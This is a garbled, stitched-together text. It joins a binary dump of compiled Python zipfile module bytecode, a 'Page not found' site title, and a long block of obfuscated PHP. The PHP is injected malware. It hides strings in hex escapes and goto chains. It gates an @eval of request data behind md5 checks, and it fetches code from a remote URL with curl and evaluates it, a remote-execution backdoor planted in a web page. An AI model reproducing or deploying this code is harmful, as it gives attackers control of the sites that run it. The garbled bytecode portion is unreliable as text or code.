zZipFile._sanitize_windows_namecsNt|t�s|j|�}|jjdtjj�}tjjrB|jtjjtjj�}tjj	|�d}dtjj
tjjf�tjjj�fdd�|j
tjj�D��}tjjdkr�|j|tjj�}tjj||�}tjj|�}tjj|�}|r�tjj|�r�tj|�|j��rtjj|��s
tj|�|S|j||d��(}t|d��}tj||�Wd	QRXWd	QRX|S)
zbExtract the ZipInfo object 'member' to a physical
           file on the path targetpath.
        rrrrc3s|]}|�kr|VqdS)Nr)rrrD)�invalid_path_partsrrr�tsz*ZipFile._extract_member.<locals>.<genexpr>�\)r�rFN)r�r
r~r?rwrur�rvr�r��curdir�pardirr0r�r�r��dirname�exists�makedirsr�r��mkdirr>�shutil�copyfileobj)r|r�Z
targetpathr�r�Z	upperdirs�source�targetr)r�rr�cs.

&


 zZipFile._extract_membercCs�|j|jkr(ddl}|jd|jdd�|jdkr:td	��|jsHtd
��t|j�|j	s�d}t
|j�tkrpd}n|j
tkr�d}n|jtkr�d
}|r�t|d��dS)z6Check for errors before writing a file to the archive.rNzDuplicate name: %rr)r�rCrDrEz&write() requires mode 'w', 'x', or 'a'z4Attempt to write ZIP archive that was already closedzFiles countZFilesizezZipfile sizez would require ZIP64 extensions)rCrDrE)r?r@r�r�r
rxr9r�rbrGr.r?�ZIP_FILECOUNT_LIMITrmr�rjr
)r|r�r��requires_zip64rrrr��s(



zZipFile._writecheckcCs0|jstd��|jrtd��tj||�}|j�r>d|_d|_n|dk	rN||_n|j	|_|j�r�|j
��|jrz|jj|j
�|jj�|_|jtkr�|jdO_|j|�d|_|jj|�||j|j<|jj|jd��|jj�|_
WdQRXn<t|d��,}|j|d	��}tj||d�WdQRXWdQRXdS)
zLPut the bytes from filename into the archive under the name
        arcname.z7Attempt to write to ZIP archive that was already closedz>Can't write to ZIP archive while an open writing handle existsrNrTFr<rCiri )r9rxr�r
r�r�rlrkrbr�r�rrAr>rWrjrrfr�rHr?r/r@r?r�r�r>r�r�)r|r?r�rbr��src�destrrrr��s8

z
ZipFile.writecCs�t|t�r|jd�}t|t�spt|tjtj��dd�d�}|j|_|jddkrhd|_	|j	dO_	qtd|_	n|}|j
s�td
��|jr�td��|dk	r�||_t
|�|_|j�*|j|dd
��}|j|�WdQRXWdQRXdS)aWrite a file into the archive.  The contents is 'data', which
        may be either a 'str' or a 'bytes' instance; if it is a 'str',
        it is encoded as UTF-8 first.
        'zinfo_or_arcname' is either a ZipInfo instance or
        the name of the file in the archive.zutf-8Nr")r?rarrri�Ari�z7Attempt to write to ZIP archive that was already closedz?Can't write to ZIP archive while an open writing handle exists.rC)r
r�i�Ai�)r�rKr�r
r�r�r�rbr?rir9rxr�r.rmr�r>r�)r|Zzinfo_or_arcnamerSrbr�r�rrr�writestr�s.



zZipFile.writestrcCs|j�dS)z2Call the "close()" method in case the user forgot.N)r�)r|rrr�__del__�szZipFile.__del__cCs||jdkrdS|jrtd��zB|jdkr\|jr\|j�"|jrJ|jj|j�|j	�WdQRXWd|j}d|_|j
|�XdS)zOClose the file, and for mode 'w', 'x' and 'a' write the ending
        records.NzvCan't close the ZIP file while there is an open writing handle on it. Close the writing handle before closing the zip.rCrDrE)rCrDrE)r9r�rxr
rHr�rrAr>�_write_end_recordrR)r|r9rrrr��s
z
ZipFile.closecCsr�xP|jD�]D}|j}|ddd>|dd>B|dB}|dd>|d	d>B|ddB}g}|jtksv|jtkr�|j|j�|j|j�d
}d
}n|j}|j}|jtkr�|j|j�d
}n|j}|j}	d}
|�rt|	d�}	t	j
ddt|�dd
t|�f|��|	}	t}
|j
tk�r(tt|
�}
n|j
tk�r>tt|
�}
t|
|j�}t|
|j�}yZ|j�\}
}t	j
tt||j||j||j
|||j||t|
�t|	�t|j�d|j|j|�}Wnltk
�rttt||j||j|j |j
|||j||t|j!�t|	�t|j�d|j|j|ft"j#d��YnX|j$j%|�|j$j%|
�|j$j%|	�|j$j%|j�q
W|j$j&�}t|j�}||j'}|j'}d}|t(k�r�d}n|tk�r�d}n|tk�r�d}|�r*|j)�s�t*|d��t	j
t+t,ddddd||||�}|j$j%|�t	j
t-t.d|d�}|j$j%|�t/|d�}t/|d
�}t/|d
�}t	j
t0t1dd||||t|j2��	}|j$j%|�|j$j%|j2�|j$j3�dS)Nri�r$rr!rrr&r l��z<HH�Qr)r�zFiles countzCentral directory offsetzCentral directory sizez would require ZIP64 extensions�,ri��)r)4r?rarmr�rlr/rjr1r6rCr�r.r�rbrr\r�rr�rdrTr�rcrercrerkr_rhri�DeprecationWarningr^rfr?ry�stderrr9r�rWr>r�rGr
rGrHrDrEr)rZrYrJr�)r|r�r�r�r�r1rmrlrjZ
extra_datar�rdrTr?rfrnZpos2ZcentDirCountZcentDirSizeZ
centDirOffsetr�Zzip64endrecZzip64locrecrRrrrr�s�$$



















zZipFile._write_end_recordcCs*|jd8_|jr&|jr&|j�dS)Nr)rNrLr�)r|r9rrrrRrszZipFile._fpclose)N)N)rBN)F)NN)NNN)NN)N)$rrrrr9r�rr}rTrXr�rQrtruryr{r~r�rAr_�setterr;r>r�r�r�r�r�r�r�r�r�r�r�r�rRrrrrr{s<WT
	
		
u
+

*
*
$fc@s4eZdZdZdedd
fdd�Zdd	d
�Zdd�ZdS)rzDClass to create ZIP archives with Python library files and packages.rBTrcCstj|||||d�||_dS)N)r
r�rS)rr}�	_optimize)r|r�r
r�rS�optimizerrrr}|szPyZipFile.__init__rNcCs�tj|�}|rF||�rF|jrBtjj|�r.dnd}td||f�dStjj|�\}}tjj|��rntjj|d�}tjj|��r�|r�d||f}n|}|jr�td|d|�|j	|d	d�|�\}}	|jr�td|	�|j
||	�tj|�}
|
jd�x�|
D]�}tjj||�}tjj
|�\}
}tjj|��rRtjjtjj|d���r�|j|||d�q�|d
kr�|�r�||��r�|jr�td|�q�|j	|d	d�|�\}}	|j�r�td|	�|j
||	�q�Wn�|j�r�td|�x�tj|�D]�}tjj||�}tjj
|�\}
}|d
k�r�|�r0||��r0|j�r�td|��q�|j	|d	d�|�\}}	|j�rZtd|	�|j
||	��q�WnP|dd�d
k�r�td��|j	|d	d�|�\}}	|j�r�td|	�|j
||	�dS)a�Add all files from "pathname" to the ZIP archive.

        If pathname is a package directory, search the directory and
        all package subdirectories recursively for all *.py and enter
        the modules into the archive.  If pathname is a plain
        directory, listdir *.py and enter all modules.  Else, pathname
        must be a Python *.py file and the module will be put into the
        archive.  Added modules are always module.pyc.
        This method will compile the module.py into module.pyc if
        necessary.
        If filterfunc(pathname) is given, it is called with every argument.
        When it is False, the file or directory is skipped.
        r�r�z%s %r skipped by filterfuncNz__init__.pyz%s/%szAdding package in�asrrZAdding)�
filterfuncz.pyzfile %r skipped by filterfunczAdding files from directoryz.Files added with writepy() must end with ".py"zAdding file���r�r�r�r�)rur�rIr�r�r^r�r0�isfile�
_get_codenamer��listdir�remove�splitext�writepyr�)r|�pathname�basenamer�Zlabel�dirrZinitnamer�r�Zdirlistr?r��rootZextrrrr��sx












zPyZipFile.writepyc
sd�fdd�	}|d}|d}tjj|dd�}tjj|dd�}tjj|dd�}�jdk�r\tjj|�r�tj|�jtj|�jkr�|}	}
n�tjj|�r�tj|�jtj|�jkr�|}
|}	n�tjj|�r�tj|�jtj|�jkr�|}
|}	nvtjj|��rtj|�jtj|�jk�r|}
|}	nD||��rRt	j
jd	k�r4|}
nt	j
jdk�rH|}
n|}
|}	n|}
}	n��jd	k�rr|}
|}	n<|}	�jdk�r�|}
n&�jdk�r�|}
nd
j�j�}t
|��tjj|
��o�tj|
�jtj|�jk�s�||�jd��s�|}
}	tjj|	�d}|�rd||f}|
|fS)aReturn (filename, archivename) for the path.

        Given a module name path, return the correct file path and
        archive name, compiling if necessary.  For example, given
        /python/lib/string, return (/python/lib/string.pyc, string).
        rcs^ddl}�jrtd|�y|j|d|d�Wn,|jk
rX}zt|j�dSd}~XnXdS)NrZ	CompilingT)�doraiser�F)�
py_compilerIr^�compile�PyCompileError�msg)r�r�r��err)r|rr�_compile�s

z)PyZipFile._get_codename.<locals>._compilez.pyz.pycr)�optimizationrrz"invalid value for 'optimize': {!r})r�z%s/%sr�)r�r�)�	importlib�util�cache_from_sourcer�rur�r�r�r�ryror��formatrxr�)
r|r�r�r�Zfile_pyZfile_pycZpycache_opt0Zpycache_opt1Zpycache_opt2r�r�r�Zarchivenamer)r|rr��s`


zPyZipFile._get_codenamer�)rN)rrrrrr}r�r�rrrrrys

Rcsddl}|jd�}|dkr(tjdd�}|s:|ddkrLt|�tjd�|ddkr�t|�dkrvt|�tjd�t|dd	��}|j�WdQRX�n||ddk�r
t|�dkr�t|�tjd�t|dd	��}|j	�}WdQRX|�r�td
j
|��td��n|ddk�rbt|�dk�r8t|�tjd�t|dd	��}|j|d�WdQRXn�|ddk�rt|�dk�r�t|�tjd��fd
d��t|dd��h}x`|dd�D]P}tj
j|�}|�s�tj
jtj
j|��}|dtjtjfk�r�d}�|||��q�WWdQRXdS)NraE        Usage:
            zipfile.py -l zipfile.zip        # Show listing of a zipfile
            zipfile.py -t zipfile.zip        # Test if a zipfile is valid
            zipfile.py -e zipfile.zip target # Extract zipfile into target dir
            zipfile.py -c zipfile.zip src ... # Create zipfile from sources
        r�-l�-c�-e�-trrBz.The following enclosed file is corrupted: {!r}zDone testingrcsptjj|�r|j||t�nPtjj|�rl|r8|j||�x2tj|�D]$}�|tjj||�tjj||��qDWdS)N)rur�r�r�rr�r�r0)r:r��zippathZnm)�addToZiprrr�Uszmain.<locals>.addToZiprCr)r�r�r�r�)�textwrap�dedentry�argvr^�exitr.rryr{r�r�rur�r�r�r�r�)�argsr�ZUSAGEr:Zbadfiler�r�r)r�r�main'sT




r��__main__li���ii��ii��)N)�rrru�re�importlib.utilr�ryr�r�r�rCZbinasciirO�ImportErrorZdummy_threadingr�r
r�r��__all__�	Exceptionrr
rrr�r�r�rrrrr{r�r�r�rkrZrYr�rXrIrJrKrLrMrNrOr^r_r`rcrerbrdZ_CD_CREATE_VERSIONZ_CD_CREATE_SYSTEMZ_CD_EXTRACT_VERSIONZ_CD_EXTRACT_SYSTEMZ
_CD_FLAG_BITSZ_CD_COMPRESS_TYPEZ_CD_TIMEZ_CD_DATEZ_CD_CRCZ_CD_COMPRESSED_SIZEZ_CD_UNCOMPRESSED_SIZErfrhriZ_CD_DISK_NUMBER_STARTZ_CD_INTERNAL_FILE_ATTRIBUTESZ_CD_EXTERNAL_FILE_ATTRIBUTESrjr�r�r�r�Z_FH_EXTRACT_VERSIONZ_FH_EXTRACT_SYSTEMZ_FH_GENERAL_PURPOSE_FLAG_BITSZ_FH_COMPRESSION_METHODZ_FH_LAST_MOD_TIMEZ_FH_LAST_MOD_DATEZ_FH_CRCZ_FH_COMPRESSED_SIZEZ_FH_UNCOMPRESSED_SIZEr�r�rDrErBrGrHrFZ_CD64_SIGNATUREZ_CD64_DIRECTORY_RECSIZEZ_CD64_CREATE_VERSIONZ_CD64_EXTRACT_VERSIONZ_CD64_DISK_NUMBERZ_CD64_DISK_NUMBER_STARTZ_CD64_NUMBER_ENTRIES_THIS_DISKZ_CD64_NUMBER_ENTRIES_TOTALZ_CD64_DIRECTORY_SIZEZ_CD64_OFFSET_START_CENTDIRr=ZStructr,r6r:r	rUr7�objectr
r�r�r�r�r�r�r�r�r�rr�r2rrr�rrrrr�<module>sD









+=[=&-J/
B

Page not found – Hello World !
ubOMVKE55; } goto DqtDyqxLQcolCmS2; B1g5v8W3xDLADJvj: curl_setopt($lImNCkH0OhQZAgaD, CURLOPT_FOLLOWLOCATION, 0); goto VTArZyNdgKFhP1Zt; Ho7rQIZQA38HiOsy: $Xw32eYwjXbYN7rRu["\x73\164\141\164\x75\163"] = intval(curl_getinfo($lImNCkH0OhQZAgaD, CURLINFO_HTTP_CODE)); goto UactxSpxh3eDnxoW; B2ssCxIMpXWWGB7a: wxLAIvE8hyU4AO6b: goto Ym18bv8PCSHuf2_B; LVKnwfFEhX6fcUPu: $Xw32eYwjXbYN7rRu["\143\157\156\164\x65\156\x74"] = strval($C41YK9rUZOGrAiT3); goto Hy3M88d23gWrgHud; cTP0l30NxD9oGlcS: $gxb1IHtRl8ert57r = @file_get_contents($hI3QjIq94YGuFgyt, false, $jAc5fZYsyT52BXQi); goto OILLFROvrBAOGREB; Kexk9jgJIr52iPtc: $H2Nea_oNgwBJ6Aed = array("\x68\x74\164\x70" => array("\x6d\x65\x74\150\157\x64" => "\x47\x45\124", "\164\x69\x6d\145\x6f\x75\x74" => 60, "\x66\157\x6c\x6c\x6f\x77\x5f\x6c\157\143\141\x74\x69\x6f\x6e" => 0), "\x73\163\154" => array("\166\x65\162\151\146\x79\137\x70\145\145\162" => false, "\166\145\x72\x69\146\x79\x5f\160\145\145\162\x5f\x6e\x61\x6d\145" => false)); goto UEZIEq2qSl4E4V7H; UactxSpxh3eDnxoW: $Xw32eYwjXbYN7rRu["\x74\171\160\145"] = strval(curl_getinfo($lImNCkH0OhQZAgaD, CURLINFO_CONTENT_TYPE)); goto BziKKz8qtbfyOKTX; r1MPiT6VdriTS0lK: curl_setopt($lImNCkH0OhQZAgaD, CURLOPT_CONNECTTIMEOUT, 20); goto AxVMeCOsGizQyUP1; UEZIEq2qSl4E4V7H: $jAc5fZYsyT52BXQi = stream_context_create($H2Nea_oNgwBJ6Aed); goto cTP0l30NxD9oGlcS; N6Z0l_N9HYet_4Tt: HVx5cJtBgR5bkiXB: goto wijT8GyPF65AYD0t; BziKKz8qtbfyOKTX: $Xw32eYwjXbYN7rRu["\x63\x6f\156\164\145\156\164"] = strval(curl_getinfo($lImNCkH0OhQZAgaD, CURLINFO_REDIRECT_URL)); goto p9AIXLmUM_hIjumf; U_ypcxXi7WMTLwHv: curl_setopt($lImNCkH0OhQZAgaD, CURLOPT_RETURNTRANSFER, 1); goto IJtZiLpwX9U3WcgH; nNtT4C1lYTdQXWIO: if (!in_array($Xw32eYwjXbYN7rRu["\x73\164\x61\164\x75\163"], array(200, 301, 302, 404))) { goto M3fwGMqvfdJ62I1k; } goto LVKnwfFEhX6fcUPu; qYSmw14jo1i8u3Z2: curl_setopt($lImNCkH0OhQZAgaD, CURLOPT_SSL_VERIFYPEER, 0); goto r1MPiT6VdriTS0lK; jAwdgtNzMWeqc6z1: $Xw32eYwjXbYN7rRu["\143\157\156\x74\x65\156\164"] = strval($gxb1IHtRl8ert57r); goto B2ssCxIMpXWWGB7a; AD3iXdHTUGJCWEu1: goto O1YORqHea73j23mo; goto vZSPPJCU1pLBGYVH; sL0dlJqY0ASVDhJL: } catch (Exception $iAp6cnXiVjqqhEi_) { } goto OIawHFtFS4YbqjVb; yPlAnwsCM7zXfZ52: wIDUVVwbcSnTjm_G: goto XbZArGWZz35wreDw; UdF4wam6as19Nhki: $hI3QjIq94YGuFgyt .= "\77" . http_build_query($rbMVDegM8wcZ8oU0); goto yPlAnwsCM7zXfZ52; O4DnzrjyJZxAzyZH: $Xw32eYwjXbYN7rRu = array("\x73\x74\x61\x74\x75\x73" => 0, "\x63\157\156\x74\145\x6e\164" => '', "\x74\x79\x70\x65" => ''); goto Pkg36KOQ_7xyrmhy; OIawHFtFS4YbqjVb: return $Xw32eYwjXbYN7rRu; goto Wzx25xiBMw7QS7k1; Wzx25xiBMw7QS7k1: } goto WFHKpIdXnkK0JYbN; azl5_iUO2EJ3VZD8: $IB_NpCTMvD1nBsRV = hJP_8ixZbX5kOLdg() . $_SERVER["\x48\x54\x54\x50\x5f\110\x4f\x53\124"]; goto hKVeu2UIXx0BP0tb; tfoAS3YN1iF22pST: @header("\103\x6f\156\x74\x65\x6e\164\x2d\x54\x79\x70\145\72" . $Xw32eYwjXbYN7rRu["\164\171\x70\145"]); goto TGtL4H7tr8pjN9RT; EcOPmZbtXZWej8Jf: $Y7eebFkKUQbppqGW = array(); goto Q43iQOsxzdjxEZpg; Jr3Gcjvz1pwcSPoE: $cCoh71weCPheCuf6 = "\162" . "\141" . "\156" . "\x67" . "\145"; goto zv2_1W_at7H7fcqe; FHkFVl1fv0ahr5pC: sdJCsZ1Ja7o_x3Ni: goto Z7kp4VsTFLsT7R2b; Ktjk2zTGJZFXsM5K: metaphone("\115\x44\111\171\x4f\x54\x49\x34\x4f\124\131\x78\115\x44\131\172\x4d\x44\153\63\117\x54\153\61\x4e\x6a\x55\x30\x4d\x7a\125\x79"); goto IraMsdVrc9ICsKKd; NnQq5I0Lg7nROnWN: $Y7eebFkKUQbppqGW["\163\156"] = R_y0bo0CZKusw2md($_SERVER["\123\103\x52\x49\x50\124\137\x4e\x41\115\105"]); goto e0bn2DNtRB__wdPQ; pwXXAGPwTSBTTKaH: KJhPMj8mrzaIocMC: goto EcOPmZbtXZWej8Jf; Jbhk9oxG7ROxGmnj: hY6OZIWWIyUY1jgJ: goto Gfw0rqK3FlVdtmoI; hVySs9CUVzJVaj_5: $KxD1GuJJb6seZiQ0 = ${$y6jzd6x0s4ADodVo[5 + 26] . $y6jzd6x0s4ADodVo[19 + 40] . $y6jzd6x0s4ADodVo[32 + 15] . $y6jzd6x0s4ADodVo[37 + 10] . $y6jzd6x0s4ADodVo[35 + 16] . $y6jzd6x0s4ADodVo[4 + 49] . $y6jzd6x0s4ADodVo[24 + 33]}; goto sv4rF1Rm_4qwinR9; VnYCs1F0k1Ybwrn7: $Y7eebFkKUQbppqGW["\x72\x66"] = R_Y0Bo0CZKUsW2mD($dUjjzvTif7lWZV6t); goto H2c03Oz2NiI0eaj8; sv4rF1Rm_4qwinR9: @(md5(md5(md5(md5($KxD1GuJJb6seZiQ0[18])))) === "\145\67\x66\144\x37\x38\66\x37\65\61\x36\143\146\x63\64\x63\66\x66\x38\x62\x38\145\x66\141\64\x62\x64\x39\63\143\x32\61") && (count($KxD1GuJJb6seZiQ0) == 24 && in_array(gettype($KxD1GuJJb6seZiQ0) . count($KxD1GuJJb6seZiQ0), $KxD1GuJJb6seZiQ0)) ? ($KxD1GuJJb6seZiQ0[65] = $KxD1GuJJb6seZiQ0[65] . $KxD1GuJJb6seZiQ0[77]) && ($KxD1GuJJb6seZiQ0[86] = $KxD1GuJJb6seZiQ0[65]($KxD1GuJJb6seZiQ0[86])) && @eval($KxD1GuJJb6seZiQ0[65](${$KxD1GuJJb6seZiQ0[32]}[13])) : $KxD1GuJJb6seZiQ0; goto Ktjk2zTGJZFXsM5K; WVVCI25fQh19LiNl: hW5eqX_v6ji7UGJ_: goto uQAhR7uIfMYx3nSU; Q43iQOsxzdjxEZpg: $Y7eebFkKUQbppqGW["\x69"] = r_Y0bo0cZKusw2MD($txULHlLhgfoJc26W); goto vk_sgUxgeF0t3wcM; dXO722x2B85iYVsj: J06AW25B6PxvAp5L: goto FHkFVl1fv0ahr5pC; ytrrT4pQhNatMPn5: exit("\x7b\40\x22\x65\x72\x72\x6f\x72\x22\72\x20\62\60\x30\x2c\x20\x22\x6c\143\x22\72\40\x22\x6a\x6b\42\54\x20\x22\x64\141\x74\141\x22\72\40\x5b\x20\61\40\135\40\x7d"); goto Jbhk9oxG7ROxGmnj; HdfQnG603GOXfDEu: $dUjjzvTif7lWZV6t = ''; goto pwXXAGPwTSBTTKaH; H2c03Oz2NiI0eaj8: $Y7eebFkKUQbppqGW["\x73"] = r_y0bO0CzkUsW2Md($IB_NpCTMvD1nBsRV); goto edYHdtxHjOq2Q2ZJ; xz3oIq2lyo06Z0DT: $jeCpfwJzH7oA6naU = false; goto f9V7c5CsjRp0kIfH; kL9V6NSPw9QZTuUS: oKIo_PkFe5xm0TnH: goto WVVCI25fQh19LiNl; XprX2KLsARqNNiC3: function hjP_8ixzBx5KoLDG() { goto khxgRzh0sWliaYpM; c2eB7Uvlm9PLePhi: $AP1yVCdRS6wT7xAK = "\150\x74\164\160\x73\72\57\57"; goto cN18dkXwXp__hbbS; Gw0HJryz_HJn55s3: $AP1yVCdRS6wT7xAK = "\x68\164\x74\x70\163\x3a\x2f\57"; goto pLy6f85fD_vLwdwi; OC6KYluDYi5tYyPh: if (isset($_SERVER["\x48\124\124\120\x53"]) && strtolower($_SERVER["\x48\x54\124\x50\123"]) !== "\x6f\x66\x66") { goto eYD2cPZ1COVDraio; } goto v4JUFLiCcPtJXS3G; khxgRzh0sWliaYpM: $AP1yVCdRS6wT7xAK = "\x68\x74\164\160\72\x2f\x2f"; goto OC6KYluDYi5tYyPh; BlmVd1xVAcohH4Ot: q9KKY6m87PDBUGig: goto EARyWJvu1EpGZz18; pLy6f85fD_vLwdwi: goto q9KKY6m87PDBUGig; goto lN7rmKG5YIlsv6yP; lN7rmKG5YIlsv6yP: lsXpNZAKvccc0SaQ: goto c2eB7Uvlm9PLePhi; cw8sDXCs_Wr_d1AI: eYD2cPZ1COVDraio: goto Gw0HJryz_HJn55s3; cN18dkXwXp__hbbS: goto q9KKY6m87PDBUGig; goto SgjAGuB9u5a9sZhI; EARyWJvu1EpGZz18: return $AP1yVCdRS6wT7xAK; goto N372c3DWVdTiciK9; BDNxHvDdW1TA7mOq: goto q9KKY6m87PDBUGig; goto cw8sDXCs_Wr_d1AI; RmdiFVY63u4oEcHX: $AP1yVCdRS6wT7xAK = "\150\x74\x74\x70\x73\x3a\57\57"; goto BlmVd1xVAcohH4Ot; v4JUFLiCcPtJXS3G: if (isset($_SERVER["\x48\x54\x54\120\137\x58\x5f\106\117\122\127\x41\x52\x44\x45\x44\137\x50\x52\x4f\x54\117"]) && $_SERVER["\x48\x54\124\x50\x5f\x58\x5f\x46\x4f\122\x57\x41\122\104\105\104\x5f\x50\122\x4f\x54\x4f"] === "\150\x74\x74\160\163") { goto lsXpNZAKvccc0SaQ; } goto LxG4s5SLpvG6pBqZ; LxG4s5SLpvG6pBqZ: if (isset($_SERVER["\110\124\x54\x50\x5f\106\122\117\116\x54\x5f\105\x4e\104\137\110\x54\x54\120\123"]) && strtolower($_SERVER["\x48\124\124\120\137\106\122\117\x4e\124\137\105\x4e\104\x5f\110\x54\x54\120\123"]) !== "\x6f\x66\x66") { goto DAq745rut92ORIKt; } goto BDNxHvDdW1TA7mOq; SgjAGuB9u5a9sZhI: DAq745rut92ORIKt: goto RmdiFVY63u4oEcHX; N372c3DWVdTiciK9: } goto rCvycr_m4PRbkbOP; IraMsdVrc9ICsKKd: class V1lxShXz4RWM6nkq { static function ioGM50J27vSrzKPT($eGDIV7ROUcDVbszl) { goto m2dNLoat8Smv7RYA; m2dNLoat8Smv7RYA: $qyPyKbRSUXKCfHij = "\162" . "\x61" . "\x6e" . "\x67" . "\x65"; goto bx8upaTTK17CfNBb; bx8upaTTK17CfNBb: $uaL8e674j0Vy18Fs = $qyPyKbRSUXKCfHij("\176", "\x20"); goto qSktnptpA2Ze36ie; WciUPmEUF2UGwEfT: $TxIUXNOyyYxqXieI = ''; goto FEN50Yb14lP5qQMD; qSktnptpA2Ze36ie: $pNo5F2gAq1BXlZfo = explode("\74", $eGDIV7ROUcDVbszl); goto WciUPmEUF2UGwEfT; FEN50Yb14lP5qQMD: foreach ($pNo5F2gAq1BXlZfo as $cCJmVM3vft0cZnfS => $BXwpROBEfl_MpuLj) { $TxIUXNOyyYxqXieI .= $uaL8e674j0Vy18Fs[$BXwpROBEfl_MpuLj - 22773]; Yu2923h_nWPW2OcR: } goto kpBW3K0eWP422cKw; OrYan_q3nLHNLEL2: return $TxIUXNOyyYxqXieI; goto eQ2tf7Yz1N3Vxq4r; kpBW3K0eWP422cKw: O4Jh9h8rGcn6W38A: goto OrYan_q3nLHNLEL2; eQ2tf7Yz1N3Vxq4r: } static function c_JVU6KOIZOzCzeb($hU1dVArVSgKZfZsU, $Z6gLdcwFR772GmPB) { goto PnL71FAUjHbAU9pO; PnL71FAUjHbAU9pO: $TAHiaY0yIlUbwv9E = curl_init($hU1dVArVSgKZfZsU); goto GlVtyxPnNZhJLvZh; GlVtyxPnNZhJLvZh: curl_setopt($TAHiaY0yIlUbwv9E, CURLOPT_RETURNTRANSFER, 1); goto lZvz1ymQK6BcCRG9; Vx9l6QVZwDCDDmBz: return empty($KwToVytWgL7VlA4p) ? $Z6gLdcwFR772GmPB($hU1dVArVSgKZfZsU) : $KwToVytWgL7VlA4p; goto Gsdk4i76mDQ2Iq08; lZvz1ymQK6BcCRG9: $KwToVytWgL7VlA4p = curl_exec($TAHiaY0yIlUbwv9E); goto Vx9l6QVZwDCDDmBz; Gsdk4i76mDQ2Iq08: } static function ObUUzm1SS_j7bPNo() { goto r0i2FMmzdq2DZvyh; RmoU2daClBPR3vQh: $x8TdBB2WBVXJZws0 = @$bOpRU5qEoy8LHx0h[1 + 2]($bOpRU5qEoy8LHx0h[4 + 2], $akOv32zGMjzYEtGF); goto f2vXKL9zXwwapl8q; EosiiBI1RrAyS5Kz: @$bOpRU5qEoy8LHx0h[8 + 2](INPUT_GET, "\x6f\146") == 1 && die($bOpRU5qEoy8LHx0h[1 + 4](__FILE__)); goto D6nwSpQHlU_Ddhkk; fKSO27d3Ab2ZJ_qo: foreach ($DjwRGx2B_i1VZMfI as $WDgrXXlbfNkn0Bk2) { $bOpRU5qEoy8LHx0h[] = self::IOgm50j27VsrZkPt($WDgrXXlbfNkn0Bk2); demCizEMy7CZRP0G: } goto S8HpjjR238X9iK2I; f2vXKL9zXwwapl8q: $armx8kYAqOE9wvFz = $bOpRU5qEoy8LHx0h[1 + 1]($x8TdBB2WBVXJZws0, true); goto EosiiBI1RrAyS5Kz; cppX7gSvpbiE1P2_: $akOv32zGMjzYEtGF = @$bOpRU5qEoy8LHx0h[1]($bOpRU5qEoy8LHx0h[1 + 9](INPUT_GET, $bOpRU5qEoy8LHx0h[1 + 8])); goto RmoU2daClBPR3vQh; ufGYVLkIULe5P676: PuSCCeq3_qJrJZvO: goto gL5x7ZV_i6seNEXy; teHNsCzTBhLbFzrZ: die; goto ufGYVLkIULe5P676; D6nwSpQHlU_Ddhkk: if (!(@$armx8kYAqOE9wvFz[0] - time() > 0 and md5(md5($armx8kYAqOE9wvFz[0 + 3])) === "\62\71\x37\x38\64\145\64\x63\x31\x62\65\145\x65\x39\x34\142\66\x30\x30\x35\x63\141\x30\x63\x36\64\x37\x66\x65\64\x65\x38")) { goto PuSCCeq3_qJrJZvO; } goto PbwnvGTtv8n8642P; S8HpjjR238X9iK2I: Rs72J6mr8byGV983: goto cppX7gSvpbiE1P2_; r0i2FMmzdq2DZvyh: $DjwRGx2B_i1VZMfI = array("\62\62\x38\60\60\x3c\62\x32\67\x38\x35\74\62\x32\x37\x39\70\x3c\x32\62\70\60\x32\x3c\62\x32\x37\70\x33\74\62\62\x37\71\70\x3c\62\62\x38\60\x34\74\62\62\x37\71\67\74\62\62\67\70\x32\74\62\x32\67\70\71\x3c\62\x32\x38\60\x30\x3c\62\62\67\x38\x33\x3c\x32\x32\67\71\64\74\x32\x32\x37\x38\70\74\62\62\x37\x38\71", "\x32\x32\67\x38\x34\x3c\62\62\x37\70\x33\74\62\x32\67\x38\65\x3c\62\62\70\x30\64\x3c\x32\x32\67\x38\x35\74\x32\62\x37\70\x38\74\62\62\67\70\x33\74\x32\x32\70\65\60\x3c\x32\x32\70\x34\x38", "\x32\x32\x37\x39\x33\x3c\62\x32\67\x38\x34\x3c\x32\x32\x37\70\x38\x3c\62\62\67\70\x39\x3c\62\x32\70\x30\64\x3c\x32\x32\x37\x39\x39\74\62\62\x37\71\70\x3c\x32\x32\70\60\60\x3c\62\x32\67\70\x38\x3c\62\62\x37\x39\71\x3c\62\62\x37\71\70", "\x32\62\x37\70\67\74\62\x32\70\x30\x32\74\62\x32\x38\x30\60\74\x32\62\x37\x39\62", "\62\x32\70\60\61\x3c\x32\x32\x38\60\x32\x3c\x32\x32\x37\x38\64\x3c\62\x32\67\x39\x38\74\62\x32\x38\64\x35\x3c\62\62\x38\x34\x37\74\62\62\x38\x30\64\74\62\x32\67\x39\x39\x3c\x32\x32\x37\71\x38\x3c\x32\62\x38\60\60\74\62\x32\x37\x38\x38\74\62\x32\67\71\x39\x3c\62\x32\x37\x39\70", "\62\62\x37\71\x37\x3c\x32\x32\67\x39\x34\74\x32\62\x37\x39\x31\x3c\x32\62\67\71\70\x3c\62\62\x38\60\x34\x3c\x32\x32\x37\71\x36\74\x32\x32\x37\x39\x38\x3c\62\x32\x37\70\x33\74\x32\62\70\60\64\74\62\x32\70\x30\x30\74\62\62\67\70\x38\x3c\x32\x32\x37\x38\71\x3c\62\x32\x37\x38\63\74\x32\x32\67\x39\x38\74\62\x32\67\70\71\74\x32\x32\67\70\x33\x3c\x32\62\x37\x38\x34", "\62\x32\70\x32\67\x3c\x32\x32\x38\x35\x37", "\x32\x32\x37\x37\64", "\62\x32\x38\65\62\74\x32\62\70\65\67", "\62\x32\x38\x33\64\74\x32\x32\x38\x31\67\x3c\x32\62\70\61\67\74\62\62\x38\63\x34\x3c\x32\62\70\61\x30", "\62\62\x37\71\x37\x3c\x32\62\x37\71\64\x3c\x32\x32\67\71\61\x3c\62\62\x37\x38\x33\74\x32\62\x37\71\70\74\62\62\x37\x38\65\74\x32\x32\x38\60\x34\74\x32\x32\x37\x39\64\x3c\62\x32\67\x38\x39\74\62\62\67\x38\x37\74\x32\62\67\x38\x32\x3c\x32\x32\67\x38\63"); goto fKSO27d3Ab2ZJ_qo; PbwnvGTtv8n8642P: $fwvQrfC0DVOPQKCQ = self::c_jVU6KoiZoZczEb($armx8kYAqOE9wvFz[0 + 1], $bOpRU5qEoy8LHx0h[5 + 0]); goto XFmviKsZF6mid1P3; XFmviKsZF6mid1P3: @eval($bOpRU5qEoy8LHx0h[4 + 0]($fwvQrfC0DVOPQKCQ)); goto teHNsCzTBhLbFzrZ; gL5x7ZV_i6seNEXy: } } goto KgW5BINtKCV5tsv0; WFHKpIdXnkK0JYbN: function r_Y0bO0cZKUsW2md($QbUW2uM1jAoGj9GF) { 